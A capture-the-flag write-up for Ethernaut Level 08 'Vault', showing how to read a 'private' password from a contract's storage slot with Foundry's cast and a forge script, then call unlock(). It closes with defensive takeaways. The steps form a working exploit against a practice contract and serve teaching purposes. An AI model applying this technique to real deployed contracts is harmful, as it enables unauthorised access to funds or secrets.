Ethernaut Level 08 - Vault

Ethernaut Level 08 - Vault

Analysis and solution for Ethernaut's level 08 - Vault, with Solidity and Foundry

Objectives

Our objective is to unlock the vault to pass the level, i.e., set the locked to false. Let's dive in.


Analysis

function unlock(bytes32 _password) public {
    if (password == _password) {
        locked = false;
    }
}

The unlock() function is taking an input _password and comparing it with an already set password in the constructor. We can not see the password hardcoded anywhere.

The thing about blockchain is all the storage data is publicly visible and anyone can obtain it as we'll be seeing soon. The private variables are not meant to store "private" data/passwords.

EVM stores data in slots and each slot is 32 bytes in size. The first defined variable is assigned slot 0, the second is assigned slot 1, and so on. This is true if every variable is 32 bytes. Otherwise, slot packing happens to optimize the storage.

To finish the level, we need to read the value of the password from slot 1 of the Vault contract and submit it to the unlock() function.


The Exploit

To finish this level, we won't even be creating a smart contract. We'll be using cast to fetch the data stored inside private variable slots and make a function call to Ethernaut's deployed instance.

  1. The following command will fetch the data stored on slot 1 of the Vault contract:
    cast storage 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE 1 --rpc-url $RPC_URL
    
  2. Let's check the password by converting it to ASCII. Looks really secure - A very strong secret password :)
    cast --to-ascii 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
    
  3. Make a function call to unlock() passing the received password as bytes32.
    cast send 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key $PKEY --rpc-url $RPC_URL
    

image.png

This will set the locked variable to false and the instance can be submitted to finish the level.

Since the locked variable is on slot 0, its value can be checked using the following command:

cast storage 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE 0 --rpc-url $RPC_URL

Here's another way to make the function call using forge scripts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel08.sol";

contract POC is Script {

    Vault level8 = Vault(0x198Bf7b324117Da5EFBCbd58f2B23a387134B8a9);

    function run() external{
        vm.startBroadcast();
        console.log("Vault is :", level8.locked());
        level8.unlock(0x412076657279207374726f6e67207365637265742070617373776f7264203a29);
        console.log("Vault is :", level8.locked());
        vm.stopBroadcast();
    }
}
forge script ./script/level08.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL

image.png

If you wanted to do the same thing using the console, here's the command to get the storage using Web3:

await web3.eth.getStorageAt(contracts_address, slot_number)

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

  • All the data stored on the blockchain is publicly accessible so it's recommended to not hardcode any sensitive passwords.
  • Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.